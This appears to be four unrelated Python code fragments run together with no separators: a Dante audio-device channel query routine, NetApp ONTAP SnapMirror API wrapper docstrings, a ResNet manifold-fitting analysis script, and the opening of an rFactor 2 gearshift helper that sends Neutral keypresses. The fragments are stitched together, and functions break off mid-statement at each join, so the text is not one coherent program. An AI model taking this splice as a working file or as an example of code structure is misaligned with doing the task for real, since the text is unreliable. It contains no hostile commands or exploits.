max(int(tx_count / 16), 1)): query = message_tx_channels_query(page) sock.send(query) tx_channels_message = sock.recvfrom(2048)[0] parsed_tx_channels_query = parse_message_type_tx_channel_query( tx_channels_message, name, tx_count, None ) tx_channels = tx_channels | parsed_tx_channels_query["tx_channels"] # query = message_tx_channels_friendly_names_query(page) # sock.send(query) # tx_channels_friendly_names_message = sock.recvfrom(2048)[0] # parsed_tx_channels_friendly_names_query = ( # parse_message_type_tx_channel_friendly_names_query( # tx_channels_friendly_names_message, name, tx_count, None # ) # ) # tx_channels_friendly_names = ( # tx_channels_friendly_names # | parsed_tx_channels_friendly_names_query["tx_channels_friendly_names"] # ) except Exception: traceback.print_exc() return { "tx_channels": tx_channels, # "tx_channels_friendly_names": tx_channels_friendly_names, } def get_rx_channels(server_name): rx_channels = {} subscriptions = {} redis_service_key = ":".join( ["netaudio", "dante", "service", server_name, SERVICE_ARC] ) cached_service = redis_decode(redis_client.hgetall(redis_service_key)) port = int(cached_service["port"]) sock = sockets[server_name][port] redis_device_key = ":".join(["netaudio", "dante", "device", server_name]) cached_device = redis_decode(redis_client.hgetall(redis_device_key)) if "rx_channel_count" in cached_device: rx_count = int(cached_device["rx_channel_count"]) if "name" in cached_device: name = cached_device["name"] try: for page in range(0, max(int(rx_count / 16), 1)): query = message_rx_channels_query(page) sock.send(query) rx_channels_message = sock.recvfrom(2048)[0] parsed_rx_channels_query = parse_message_type_rx_channel_query( rx_channels_message, name, rx_count ) rx_channels = rx_channels | parsed_rx_channels_query["rx_channels"] subscriptions = subscriptions | parsed_rx_channels_query["subscriptions"] except Exception: traceback.print_exc() return { "rx_channels": rx_channels, "subscriptions": subscriptions, } def device_initialize_arc(server_name): redis_service_key = ":".join( ["netaudio", "dante", "service", server_name, SERVICE_ARC] ) cached_service = redis_decode(redis_client.hgetall(redis_service_key)) port = int(cached_service["port"]) try: sock = sockets[server_name][port] sock.send(message_device_name_query()) device_name_message = sock.recvfrom(2048)[0] parsed_name_query = parse_dante_arc_message(device_name_message) device_name = parsed_name_query["name"] redis_device_key = ":".join(["netaudio", "dante", "device", server_name]) redis_client.hset( redis_device_key, key=None, value=None, mapping={ "name": device_name, }, ) sock.send(message_channel_counts_query()) channel_count_message = sock.recvfrom(2048)[0] parsed_channel_count_query = parse_dante_arc_message(channel_count_message) rx_count = parsed_channel_count_query["rx_channel_count"] tx_count = parsed_channel_count_query["tx_channel_count"] redis_client.hset( redis_device_key, key=None, value=None, mapping={ "rx_channel_count": rx_count, "tx_channel_count": tx_count, }, ) parsed_rx_channels = get_rx_channels(server_name) cache_device_value_json( server_name, "rx_channels", parsed_rx_channels["rx_channels"] ) cache_device_value_json( server_name, "subscriptions", parsed_rx_channels["subscriptions"] ) parsed_tx_channels = get_tx_channels(server_name) cache_device_value_json( server_name, "tx_channels", parsed_tx_channels["tx_channels"] ) cached_device = redis_decode(redis_client.hgetall(redis_device_key)) rx_channels = json.loads(cached_device["rx_channels"]) tx_channels = json.loads(cached_device["tx_channels"]) print(f"{device_name} rx:{len(rx_channels)} tx:{len(tx_channels)}") except Exception: traceback.print_exc() redis_client.hset( redis_device_key, key=None, value=None, mapping={ "device_name": device_name, "ipv4": cached_service["ipv4"], "rx_channel_count": rx_count,
control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. <li> &lt;[vserver:]volume&gt; On Data ONTAP 8.2 or later operating in Cluster-Mode except for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. This format depends on the Vserver peering setup between the source and destination Vservers. <ul> This format may change in the future. On Data ONTAP operating in Cluster-Mode, when specifying a destination endpoint, you must use either the destination location, or the destination cluster, destination Vserver, and destination volume. This parameter is mandatory on Data ONTAP 7-mode :param destination_volume: Specifies the destination volume of the SnapMirror relationship. If using this parameter, the following parameters must also be specified: <ul> <li> The name of the destination Vserver. <li> The name of the destination cluster on Data ONTAP 8.1 operating in Cluster-Mode, or on Data ONTAP 8.2 operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param source_location: Specifies the source endpoint of the SnapMirror relationship in the following formats: <ul> <li> &lt;system&gt;:/vol/&lt;volume&gt;[/&lt;qtree&gt;] On Data ONTAP operating in 7-Mode. <li> [&lt;cluster&gt:]//&ltvserver&gt/&ltvolume&gt; On Data ONTAP 8.1 operating in Cluster-Mode, and on Data ONTAP 8.2 operating in Cluster-Mode for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. <li> &lt;[vserver:]volume&gt; On Data ONTAP 8.2 or later operating in Cluster-Mode except for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. <ul> This format may change in the future. On Data ONTAP operating in Cluster-Mode, When specifying a source endpoint, you must use either the source location, or the source cluster, source Vserver, and source volume. :param destination_cluster: Specifies the destination cluster of the SnapMirror relationship. The destination Vserver and destination volume must also be specified if using this parameter. """ return self.request( "snapmirror-quiesce", { 'source_vserver': [ source_vserver, 'source-vserver', [ basestring, 'None' ], False ], 'source_volume': [ source_volume, 'source-volume', [ basestring, 'None' ], False ], 'source_cluster': [ source_cluster, 'source-cluster', [ basestring, 'None' ], False ], 'destination_vserver': [ destination_vserver, 'destination-vserver', [ basestring, 'None' ], False ], 'destination_location': [ destination_location, 'destination-location', [ basestring, 'None' ], False ], 'destination_volume': [ destination_volume, 'destination-volume', [ basestring, 'None' ], False ], 'source_location': [ source_location, 'source-location', [ basestring, 'None' ], False ], 'destination_cluster': [ destination_cluster, 'destination-cluster', [ basestring, 'None' ], False ], }, { } ) def snapmirror_destroy_async(self, source_vserver=None, source_volume=None, source_cluster=None, destination_vserver=None, destination_location=None, destination_volume=None, source_location=None, destination_cluster=None): """ The snapmirror-destroy-async API removes only the SnapMirror relationship of a source and a destination Infinite Volume, the volumes are not destroyed and Snapshot copies on the volumes are not removed. You must specify the destination endpoint when using snapmirror-destroy-async. The snapmirror-destroy-async API fails if a SnapMirror transfer for the SnapMirror relationship is in progress. The snapmirror-destroy-async API preserves the read-write or read-only attributes of the volumes of a SnapMirror relationship after the relationship is deleted. Therefore, a read-write volume that was the source of a SnapMirror relationship retains its read-write attributes, and a data protection volume that was a destination of a SnapMirror relationship retains its read-only attributes. The snapmirror-destroy-async API should be used from the destination cluster. When used in this fashion, the destination-side information will be cleaned up. The destination will also attempt to cleanup source-side information. If the source cluster is not available, the destination-side information will still be cleaned up. This API is not supported if the destination end point is a flexible volume or an Infinite Volume constituent. A job will be spawned to operate on the snapmirror and the job id will be returned. The progress of the job can be tracked using the job APIs. :param source_vserver: Specifies the name of the source Vserver for the SnapMirror relationship. If using this parameter, the following parameters should also be specified: <ul> <li> The name of source volume. <li> The name of the source cluster on Data ONTAP 8.1, or on Data ONTAP 8.2 or later operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param source_volume: Specifies the name of the source volume of the SnapMirror relationship. If using this parameter, the following parameters should also be specified: <ul> <li> The name of the source Vserver. <li> The name of the source cluster on Data ONTAP 8.1 operating in Cluster-Mode, or on Data ONTAP 8.2 or later operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param source_cluster: Specifies the name of the source cluster for the SnapMirror relationship. The parameters for the name of the source Vserver, and the name of the source volume must also be specified if using this parameter. This parameter is available only on: <ul> <li> Data ONTAP 8.1 operating in Cluster-Mode. <li> Data ONTAP 8.2 or later operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param destination_vserver: Specifies the name of the destination Vserver for the SnapMirror relationship. If using this parameter, the following parameters should also be specified: <ul> <li> The name of destination volume. <li> The name of the destination cluster on Data ONTAP 8.1, or on Data ONTAP 8.2 or later operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param destination_location: Specifies the destination endpoint of the SnapMirror relationship in one of the following formats: <ul> <li> &lt;system&gt;:/vol/&lt;volume&gt;[/&lt;qtree&gt;] on Data ONTAP operating in 7-Mode. <li> [&lt;cluster&gt:]//&ltvserver&gt/&ltvolume&gt; on Data ONTAP 8.1 operating in Cluster-Mode, and on Data ONTAP 8.2 operating in Cluster-Mode for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. <li> &lt;[vserver:]volume&gt; on Data ONTAP 8.2 or later operating in Cluster-Mode except for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. This format depends on Vserver peering setup between the source and destination Vservers. </ul> This format may change in the future. The destination endpoint can be specified using the location formats above, or by specifying the parameters for the name of the destination Vserver, the name of the destination volume, and the name of the destination cluster. The name of the destination cluster is only required on Data ONTAP 8.1 operating in Cluster-Mode. :param destination_volume: Specifies the name of the destination volume for the SnapMirror relationship. If using this parameter, the following parameters should also be specified: <ul> <li> The name of the destination Vserver. <li> The name of the destination cluster on Data ONTAP 8.1 operating in Cluster-Mode, or on Data ONTAP 8.2 or later operating in Cluster-Mode if the relationship control plane is 'v1'. </ul> :param source_location: Specifies the source endpoint of the SnapMirror relationship in one of the following formats: <ul> <li> &lt;system&gt;:/vol/&lt;volume&gt;[/&lt;qtree&gt;] on Data ONTAP operating in 7-Mode. <li> [&lt;cluster&gt:]//&ltvserver&gt/&ltvolume&gt; on Data ONTAP 8.1 operating in Cluster-Mode, and on Data ONTAP 8.2 operating in Cluster-Mode for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. <li> &lt;[vserver:]volume&gt; on Data ONTAP 8.2 or later operating in Cluster-Mode except for relationships using a control plane compatible with Data ONTAP 8.1 operating in Cluster-Mode. This format depends on Vserver peering setup between the source and destination Vservers. </ul> This format may change in the future. The source endpoint can be specified using the location formats above, or by specifying the parameters for the name of the source Vserver, the name of the source volume, and the name of the source cluster. The name of the source cluster is only required on Data ONTAP 8.1 operating in Cluster-Mode. :param destination_cluster: Specifies the destination cluster name for the SnapMirror relationship. The parameters for the name of the destination Vserver, and the name of the destination volume must also be specified if using this parameter. This parameter is available only on: <ul> <li> Data ONTAP 8.1 operating in Cluster-Mode.
("resnet101", ".layer3.Bottleneck0", 5, 7, 7, True), ("resnet101", ".layer3.Bottleneck2", 5, 7, 7, True), ("resnet101", ".layer3.Bottleneck6", 5, 7, 7, True), ("resnet101", ".layer3.Bottleneck10", 5, 7, 7, True), ("resnet101", ".layer3.Bottleneck14", 5, 7, 7, False), ("resnet101", ".layer3.Bottleneck18", 5, 7, 7, False), ("resnet101", ".layer3.Bottleneck22", 5, 7, 7, False), ("resnet101", ".layer4.Bottleneck0", 5, 4, 4, False), ("resnet101", ".layer4.Bottleneck2", 5, 4, 4, False), ("resnet101", ".Linearfc", 5, False)] layerlist = [unit[1] for unit in unit_list] layerlabel = [name[1:] for name in layerlist] layerlabel[0] = "Relu" nettab_d = load_fit_manif2table(unit_list, netname, dataroot, save=True, savestr="_RFfit") unit_list_full = unit_list + \ [("resnet101", ".ReLUrelu", 5, 56, 56, False), ("resnet101", ".layer1.Bottleneck0", 5, 28, 28, False), ("resnet101", ".layer1.Bottleneck1", 5, 28, 28, False), ("resnet101", ".layer2.Bottleneck0", 5, 14, 14, False), ("resnet101", ".layer2.Bottleneck3", 5, 14, 14, False), ("resnet101", ".layer3.Bottleneck0", 5, 7, 7, False), ("resnet101", ".layer3.Bottleneck2", 5, 7, 7, False), ("resnet101", ".layer3.Bottleneck6", 5, 7, 7, False), ("resnet101", ".layer3.Bottleneck10", 5, 7, 7, False)] nettab_f = load_fit_manif2table(unit_list_full, netname, dataroot, save=True, savestr="_All") #%% msk = (nettab_d.R2>0.5) & (nettab_d.evolfinact>0.2) & (nettab_d.evolttest_p<0.001) & (nettab_d.space == 0) fig1 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) fig1 = violins_regress(nettab_d, netname, layerlist[:-1], figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb-1_bsl", layerlabel=layerlabel) fig2 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="beta", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) msk = (~nettab_f.RFfit) & (nettab_f.R2>0.5) & (nettab_f.evolfinact>0.2) \ & (nettab_f.evolttest_p<0.001) & (nettab_f.space == 0) fig3 = violins_regress(nettab_f, netname, layerlist, figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_nonRF_bsl", titstr="No RF resizing", layerlabel=layerlabel) #%% resnet50 netname = "resnet50" unit_list = [("resnet50", ".ReLUrelu", 5, 57, 57, True), ("resnet50", ".layer1.Bottleneck1", 5, 28, 28, True), ("resnet50", ".layer2.Bottleneck0", 5, 14, 14, True), ("resnet50", ".layer2.Bottleneck2", 5, 14, 14, True), ("resnet50", ".layer3.Bottleneck0", 5, 7, 7, True), ("resnet50", ".layer3.Bottleneck2", 5, 7, 7, True), ("resnet50", ".layer3.Bottleneck4", 5, 7, 7, True), ("resnet50", ".layer4.Bottleneck0", 5, 4, 4, False), ("resnet50", ".layer4.Bottleneck2", 5, 4, 4, False), ("resnet50", ".Linearfc", 5, False)] layerlist = [unit[1] for unit in unit_list] layerlabel = [name[1:] for name in layerlist] layerlabel[0] = "Relu" nettab_d = load_fit_manif2table(unit_list, netname, dataroot, save=True, savestr="_RFfit") # Forget to do the RF not fit experiments msk = (nettab_d.R2>0.5) & (nettab_d.evolfinact>0.2) & (nettab_d.evolttest_p<0.001) & (nettab_d.space == 0) fig1 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) fig1 = violins_regress(nettab_d, netname, layerlist[:-1], figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb-1_bsl", layerlabel=layerlabel) fig2 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="beta", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) # msk = (~nettab_f.RFfit) & (nettab_f.R2>0.5) & (nettab_f.evolfinact>0.2) # fig3 = violins_regress(nettab_f, netname, layerlist, figdir=figdir, msk=msk,\ # varnm="kappa", savestr="RFfit_nonRF_bsl", titstr="No RF resizing") #%% resnet50_robust netname = "resnet50_linf_8" unit_list = [("resnet50_linf_8", ".ReLUrelu", 5, 57, 57, True), ("resnet50_linf_8", ".layer1.Bottleneck1", 5, 28, 28, True), ("resnet50_linf_8", ".layer2.Bottleneck0", 5, 14, 14, True), ("resnet50_linf_8", ".layer2.Bottleneck2", 5, 14, 14, True), ("resnet50_linf_8", ".layer3.Bottleneck0", 5, 7, 7, True), ("resnet50_linf_8", ".layer3.Bottleneck2", 5, 7, 7, True), ("resnet50_linf_8", ".layer3.Bottleneck4", 5, 7, 7, True), ("resnet50_linf_8", ".layer4.Bottleneck0", 5, 4, 4, False), ("resnet50_linf_8", ".layer4.Bottleneck2", 5, 4, 4, False), ("resnet50_linf_8", ".Linearfc", 5, False)] layerlist = [unit[1] for unit in unit_list] layerlabel = [name[1:] for name in layerlist] layerlabel[0] = "Relu" nettab_d = load_fit_manif2table(unit_list, netname, dataroot, save=True, savestr="_RFfit") # Forget to do the RF not fit experiments msk = (nettab_d.R2>0.5) & (nettab_d.evolfinact>0.2) & (nettab_d.evolttest_p<0.001) & (nettab_d.space == 0) fig1 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) fig1 = violins_regress(nettab_d, netname, layerlist[:-1], figdir=figdir, msk=msk,\ varnm="kappa", savestr="RFfit_cmb-1_bsl", layerlabel=layerlabel) fig2 = violins_regress(nettab_d, netname, layerlist, figdir=figdir, msk=msk,\ varnm="beta", savestr="RFfit_cmb_bsl", layerlabel=layerlabel) # msk = (~nettab_f.RFfit) & (nettab_f.R2>0.5) & (nettab_f.evolfinact>0.2) # fig3 = violins_regress(nettab_f, netname, layerlist, figdir=figdir, msk=msk,\ # varnm="kappa", savestr="RFfit_nonRF_bsl", titstr="No RF resizing") #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #%% Plotting Development zone %%% netname = "resnet50" # "resnet50_linf_8" # nettab = pd.read_csv(join(sumdir, '%s_Select_expFitSum.csv'%netname)) #%% Kappa version msk = (nettab.R2>0.5) * (nettab.evolfinact>0.1) layerlist = [unit[1] for unit in unit_list] layermap = {v:k for k, v in enumerate(layerlist)} plt.figure() ax = sns.violinplot(x="layer", y="kappa", name=layerlist, dodge=True, data=nettab[msk], inner="point", meanline_visible=True, jitter=True) for violin in zip(ax.collections[::2]): violin[0].set_alpha(0.3) for dots in zip(ax.collections[1::2]): dots[0].set_alpha(0.2) plt.xticks(rotation=30) slope, intercept, r_val, p_val, stderr = linregress(nettab[msk]["layer"].map(layermap), nettab[msk].kappa) statstr = "All layers Kappa value vs layer num:\nkappa = layerN * %.3f + %.3f (slope ste=%.3f)\nR2=%.3f slope!=0 " \ "p=%.1e N=%d" % (slope, intercept, stderr, r_val, p_val, len(nettab[msk])) add_regcurve(ax, slope, intercept, alpha=0.5) plt.title("CNN %s Manifold Exp Kappa Progression\n"%netname+statstr) plt.savefig(join(figdir, "%s_kappaRFfit_cmb_bsl_pur_violin.png"%netname)) plt.savefig(join(figdir, "%s_kappaRFfit_cmb_bsl_pur_violin.pdf"%netname)) plt.show() #%% Beta version plt.figure() ax = sns.violinplot(x="layer", y="beta", name=layerlist, dodge=True, data=nettab[msk], inner="point", meanline_visible=True, jitter=True) for violin in zip(ax.collections[::2]): violin[0].set_alpha(0.3) for dots in zip(ax.collections[1::2]): dots[0].set_alpha(0.2) plt.xticks(rotation=30) slope, intercept, r_val, p_val, stderr = linregress(nettab[msk]["layer"].map(layermap), nettab[msk].beta) statstr = "All layers Beta value vs layer num:\nbeta = layerN * %.3f + %.3f (slope ste=%.3f)\nR2=%.3f slope!=0 " \ "p=%.1e N=%d" % (slope, intercept, stderr, r_val, p_val, len(nettab[msk])) add_regcurve(ax, slope, intercept, alpha=0.5) plt.title("CNN %s Manifold Exp Beta Progression\n"%netname+statstr) plt.savefig(join(figdir, "%s_betaRFfit_cmb_bsl_pur_violin.png"%netname)) plt.savefig(join(figdir, "%s_betaRFfit_cmb_bsl_pur_violin.pdf"%netname)) plt.show() #%% Strings from bash commands expcmdstrs = ["--units resnet50_linf_8 .ReLUrelu 5 57 57 --imgsize 7 7 --corner 111 111 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer1.Bottleneck1 5 28 28 --imgsize 23 23 --corner 101 101 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer2.Bottleneck0 5 14 14 --imgsize 29 29 --corner 99 99 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer2.Bottleneck2 5 14 14 --imgsize 49 49 --corner 89 90 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer3.Bottleneck0 5 7 7 --imgsize 75 75 --corner 77 78 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer3.Bottleneck2 5 7 7 --imgsize 137 137 --corner 47 47 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer3.Bottleneck4 5 7 7 --imgsize 185 185 --corner 25 27 --RFfi --chan_rng 0 75", "--units resnet50_linf_8 .layer4.Bottleneck0 5 4 4 --imgsize 227 227 --corner 0 0 --chan_rng 0 75", "--units resnet50_linf_8 .layer4.Bottleneck2 5 4 4 --imgsize 227 227 --corner 0 0 --chan_rng 0 75", "--units resnet50_linf_8 .Linearfc 5 --chan_rng 0 75",] expcmdstrs = ["--units resnet50 .ReLUrelu 5 57 57 --imgsize 7 7 --corner 111 111 --RFfit --chan_rng 0 75", "--units resnet50 .layer1.Bottleneck1 5 28 28 --imgsize 23 23 --corner 101 101 --RFfit --chan_rng 0 75", "--units resnet50 .layer2.Bottleneck0 5 14 14 --imgsize 29 29 --corner 99 99 --RFfit --chan_rng 0 75", "--units resnet50 .layer2.Bottleneck2 5 14 14 --imgsize 49 49 --corner 89 90 --RFfit --chan_rng 0 75", "--units resnet50 .layer3.Bottleneck0 5 7 7 --imgsize 75 75 --corner 77 78 --RFfit --chan_rng 0 75", "--units resnet50 .layer3.Bottleneck2 5 7 7 --imgsize 137 137 --corner 47 47 --RFfit --chan_rng 0 75", "--units resnet50 .layer3.Bottleneck4 5 7 7 --imgsize 185 185 --corner 25 27 --RFfit --chan_rng 0 75", "--units resnet50 .layer4.Bottleneck0 5 4 4 --imgsize 227 227 --corner 0 0 --RFfit --chan_rng 0 75", "--units resnet50 .layer4.Bottleneck2 5 4 4 --imgsize 227 227 --corner 0 0 --RFfit --chan_rng 0 75", "--units resnet50 .Linearfc 5 --chan_rng 0 75",] #%% #%% Development zone ! netname = "resnet50_linf_8" # "resnet50" unit_list = [("resnet50", ".ReLUrelu", 5, 57, 57, True), # last entry signify if we do RF resizing or not. ("resnet50", ".layer1.Bottleneck1", 5, 28, 28, True), ("resnet50", ".layer2.Bottleneck0", 5, 14, 14, True), ("resnet50", ".layer2.Bottleneck2", 5, 14, 14, True), ("resnet50", ".layer3.Bottleneck0", 5, 7, 7, True), ("resnet50", ".layer3.Bottleneck2", 5, 7, 7, True), ("resnet50", ".layer3.Bottleneck4", 5, 7, 7, True), ("resnet50", ".layer4.Bottleneck0", 5, 4, 4, False), ("resnet50", ".layer4.Bottleneck2", 5, 4, 4, False), ("resnet50", ".Linearfc", 5, False), ] # for layer, RFfit in layerlist: ang_step = 9 theta_arr = np.arange(-90, 90.1, ang_step) / 180 * np.pi phi_arr = np.arange(-90, 90.1, ang_step) / 180 * np.pi param_names = ["theta", "phi", "psi", "kappa", "beta", "A", "bsl"] param_std_names = [p+"_std" for p in param_names] stat_col = [] for unit in unit_list[:]: layer = unit[1] layerdir = "%s_%s_manifold-" % (netname, layer) RFfit = unit[-1] suffix = "rf_fit" if RFfit else "original" npyfns = glob(join(dataroot, layerdir, "*.npy")) if len(unit) == 6: pattern = re.compile("Manifold_score_%s_(\d*)_%d_%d_%s.npy"%(layer, unit[3], unit[4], suffix)) else: pattern = re.compile("Manifold_score_%s_(\d*)_%s.npy"%(layer, suffix)) matchpatt = [pattern.findall(fn) for fn in npyfns] iChlist = [int(mat[0]) for mat in matchpatt if len(mat)==1] fnlist = [fn for mat, fn in zip(matchpatt, npyfns) if len(mat) == 1] for iCh in iChlist: # range unitstat = EasyDict() if len(unit) == 6: unit_lab = "%s_%d_%d_%d"%(layer, iCh, unit[3], unit[4]) unitstat.pos = (unit[3], unit[4]) elif len(unit) == 4: unit_lab = "%s_%d" % (layer, iCh, ) unitstat.pos = None else: raise NotImplementedError explabel = "%s_%s" % (unit_lab, suffix) data = np.load(join(dataroot, layerdir, "Manifold_score_%s.npy"%(explabel))) Mdata = np.load(join(dataroot, layerdir, "Manifold_set_%s.npz"%(explabel))) spi = 0 actmap = data[spi, :, :] param, param_std, _, R2 = fit_Kent_Stats(theta_arr=theta_arr, phi_arr=phi_arr, act_map=actmap) unitstat.netname = netname unitstat.layer = layer unitstat.iCh = iCh unitstat.explabel = explabel unitstat.space = spi unitstat.RFfit = RFfit unitstat.imgsize = Mdata["imgsize"] unitstat.corner = Mdata["corner"] # Maximal activation from Manifold, Evolution unitstat.actmax = actmap.max() unitstat.actmin = actmap.min() gens = Mdata["evol_gen"] unitstat.evolfinact = Mdata["evol_score"][gens == gens.max()].mean() # Fitting stats unitstat.R2 = R2 for i, pnm in enumerate(param_names): unitstat[pnm] = param[i] unitstat[pnm+"_std"] =
<gh_stars>0 # Gearshift.py - monitors the rFactor 2 shared memory values for the shifter # and clutch and if a gear change is not done properly it repeatedly sends a # "Neutral" key press to prevent the gear being selected. # # Inspired by http://www.richardjackett.com/grindingtranny # I borrowed Grind_default.wav from there to make the noise of the grinding # gears. # # The game has to have a key mapped as "Neutral". (Default: Numpad 0) # BUILD_REVISION = 61 # The git branch commit count versionStr = 'gearshift V3.2.%d' % BUILD_REVISION versionDate = '2020-02-20' credits = "Reads the clutch and shifter from rF2 using\n" \ "The Iron Wolf's rF2 Shared Memory Tools.\n" \ "https://github.com/TheIronWolfModding/rF2SharedMemoryMapPlugin\n" \ "Inspired by http://www.richardjackett.com/grindingtranny\n" \ "I borrowed Grind_default.wav from there to make the noise of the grinding gears.\n\n" from threading import Timer from winsound import PlaySound, SND_FILENAME, SND_LOOP, SND_ASYNC from tkinter import messagebox try: from configIni import Config, configFileName except: # It's a rFactory component from gearshift.configIni import Config, configFileName import pyDirectInputKeySend.directInputKeySend as directInputKeySend from readJSONfile import Json from pyDirectInputKeySend.directInputKeySend import DirectInputKeyCodeTable, rfKeycodeToDIK from mockMemoryMap import gui from memoryMapInputs import Controls # Main config variables, loaded from gearshift.ini mockInput = False # If True then use mock input ClutchEngaged = 90 # (0 - 100) the point in the travel where the clutch engages doubleDeclutch = False # Not yet implemented reshift = True # If True then neutral has to be selected before # retrying failed change. If False then just have # to de-clutch ############################################################################### # Nothing much to twiddle with from here on # Config variables, also loaded from gearshift.ini global debug debug = 0 # 0, 1, 2 or 3 neutralButton = None # The key used to force neutral, whatever the shifter says graunchWav = None controller_file = None # Gear change events clutchDisengage = 'clutchDisengage' clutchEngage = 'clutchEngage' gearSelect = 'gearSelect' gearDeselect = 'gearDeselect' graunchTimeout = 'graunchTimeout' # Memory-mapped mode smStop = 'stop' # Stop the state machine #globals gearState = 'neutral' # TBD ClutchPrev = 2 # Active states are 0 and 1 so 2 is "unknown" graunch_o = None ################################################################################# # AHK replacement fns def SetTimer(callback, mS): if mS > 0: timer = Timer(mS / 1000, callback) timer.start() else: pass # TBD delete timer? def SoundPlay(soundfile): PlaySound(soundfile, SND_FILENAME|SND_LOOP|SND_ASYNC) def SoundStop(): PlaySound(None, SND_FILENAME) def msgBox(str): print(str) ################################################################################# def quit(errorCode): # User presses a key before exiting program print('\n\nPress Enter to exit') input() sys.exit(errorCode) ################################################################################# class graunch: def __init__(self): self.graunching = False def graunchStart(self): # Start the graunch noise and sending "Neutral" # Start the noise global graunchWav SoundPlay(graunchWav) self.graunching = True self.graunch2() if debug >= 2: msgBox('GRAUNCH!') def graunchStop(self): if self.graunching: SoundStop() # stop the noise self.graunching = False self.graunch1() def graunch1(self): # Send the "Neutral" key release directInputKeySend.ReleaseKey(neutralButton) if self.graunching: SetTimer(self.graunch2, 20) def graunch2(self): if self.graunching: # Send the "Neutral" key press directInputKeySend.PressKey(neutralButton) SetTimer(self.graunch3, 3000) SetTimer(self.graunch1, 20) # Ensure neutralButton is released if debug >= 1: directInputKeySend.PressReleaseKey('DIK_G') def graunch3(self): """ Shared memory. Neutral key causes gearDeselect event but if player doesn't move shifter to neutral then rF2 will quickly report that it's in gear again, causing a gearSelect event. If SM is still in neutral (gearSelect hasn't happened) when this timer expires then player has moved shifter to neutral """ gearStateMachine(graunchTimeout) def isGraunching(self): return self.graunching ###################################################################### def gearStateMachine(event): global gearState global graunch_o global debug # Gear change states neutral = 'neutral' clutchDown = 'clutchDown' waitForDoubleDeclutchUp= 'waitForDoubleDeclutchUp' clutchDownGearSelected = 'clutchDownGearSelected' inGear = 'inGear' graunching = 'graunching' graunchingClutchDown = 'graunchingClutchDown' neutralKeySent = 'neutralKeySent' if debug >= 3: msgBox('gearState %s event %s' % (gearState, event)) # event check (debug) if event == clutchDisengage: pass elif event == clutchEngage: pass elif event == gearSelect: pass elif event == gearDeselect: pass elif event == graunchTimeout: pass elif event == smStop: graunch_o.graunchStop() gearState = neutral else: msgBox('gearStateMachine() invalid event %s' % event) if gearState == neutral: if event == clutchDisengage: gearState = clutchDown if debug >= 1: directInputKeySend.PressKey('DIK_D') elif event == gearSelect: graunch_o.graunchStart() gearState = graunching elif event == graunchTimeout: graunch_o.graunchStop() elif gearState == clutchDown: if event == gearSelect: gearState = clutchDownGearSelected elif event == clutchEngage: gearState = neutral if debug >= 1: directInputKeySend.PressKey('DIK_U') elif gearState == waitForDoubleDeclutchUp: if event == clutchEngage: gearState = neutral if debug >= 2: msgBox('Double declutch spin up the box') elif event == gearSelect: graunch_o.graunchStart() gearState = graunching elif gearState == clutchDownGearSelected: if event == clutchEngage: gearState = inGear if debug >= 2: msgBox('In gear') elif event == gearDeselect: if doubleDeclutch: gearState = waitForDoubleDeclutchUp else: gearState = clutchDown elif gearState == inGear: if event == gearDeselect: gearState = neutral if debug >= 2: msgBox('Knocked out of gear') elif event == clutchDisengage: gearState = clutchDownGearSelected elif event == gearSelect: # smashed straight through without neutral. # I don't think this can happen if rF2, only with mock inputs... graunch_o.graunchStart() gearState = graunching elif gearState == graunching: if event == clutchDisengage: if reshift == False: if debug >= 1: directInputKeySend.PressKey('DIK_R') gearState = clutchDownGearSelected else: gearState = graunchingClutchDown graunch_o.graunchStop() if debug >= 1: directInputKeySend.PressKey('DIK_G') elif event == clutchEngage: graunch_o.graunchStart() # graunch again elif event == gearDeselect: gearState = neutralKeySent elif event == gearSelect: graunch_o.graunchStop() graunch_o.graunchStart() # graunch again pass elif gearState == neutralKeySent: # rF2 will have put it into neutral but if shifter # still in gear it will have put it back in gear again if event == gearSelect: gearState = graunching elif event == graunchTimeout: # timed out and still not in gear, player has # shifted to neutral gearState = neutral graunch_o.graunchStop() elif gearState == graunchingClutchDown: if event == clutchEngage: graunch_o.graunchStart() # graunch again gearState = graunching elif event == gearDeselect: gearState = clutchDown graunch_o.graunchStop() else: msgBox('Bad gearStateMachine() state gearState') if gearState != graunching and gearState != neutralKeySent: graunch_o.graunchStop() # belt and braces - sometimes it gets stuck. REALLY???? def WatchClutch(Clutch): # Clutch 100 is up, 0 is down to the floor global ClutchPrev ClutchState = 1 # engaged if Clutch < ClutchEngaged: ClutchState = 0 # clutch is disengaged if ClutchState != ClutchPrev: if ClutchState == 0: gearStateMachine(clutchDisengage) else: gearStateMachine(clutchEngage) ClutchPrev = ClutchState ############################################################# def 